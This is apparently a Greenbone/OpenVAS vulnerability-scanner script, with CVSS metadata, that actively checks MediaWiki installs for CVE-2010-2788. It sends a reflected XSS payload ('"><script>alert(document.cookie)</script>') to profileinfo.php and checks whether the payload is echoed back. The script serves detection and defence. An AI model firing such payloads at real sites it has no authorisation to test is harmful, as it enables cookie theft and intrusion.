CVSS2
Attack Vector
NETWORK
Attack Complexity
HIGH
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:H/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
70.5%
MediaWiki is prone to a cross-site scripting (XSS)
vulnerability.
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:mediawiki:mediawiki";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.801877");
script_version("2024-07-16T05:05:43+0000");
script_cve_id("CVE-2010-2788");
script_tag(name:"last_modification", value:"2024-07-16 05:05:43 +0000 (Tue, 16 Jul 2024)");
script_tag(name:"creation_date", value:"2011-05-11 15:50:14 +0200 (Wed, 11 May 2011)");
script_tag(name:"cvss_base", value:"2.6");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:N/I:P/A:N");
script_name("MediaWiki < 1.15.5 'profileinfo.php' XSS Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_mediawiki_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("mediawiki/http/detected");
script_xref(name:"URL", value:"https://bugzilla.redhat.com/show_bug.cgi?id=620225");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/42024");
script_xref(name:"URL", value:"https://bugzilla.redhat.com/show_bug.cgi?id=620226");
script_xref(name:"URL", value:"http://svn.wikimedia.org/viewvc/mediawiki?view=revision&revision=69984");
script_xref(name:"URL", value:"http://svn.wikimedia.org/viewvc/mediawiki?view=revision&revision=69952");
script_tag(name:"summary", value:"MediaWiki is prone to a cross-site scripting (XSS)
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
passed via the 'filter' parameter to profileinfo.php, which allows attackers to execute arbitrary
HTML and script code on the web server.");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in context of an affected site.");
script_tag(name:"affected", value:"MediaWiki versions prior to 1.15.5.");
script_tag(name:"solution", value:"Update to version 1.15.5, 1.16.0 or later.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
url = dir + '/profileinfo.php?filter="><script>alert(document.cookie)</script>';
if( http_vuln_check( port:port, url:url, check_header:TRUE, pattern:"><script>alert\(document\.cookie\)</script>" ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );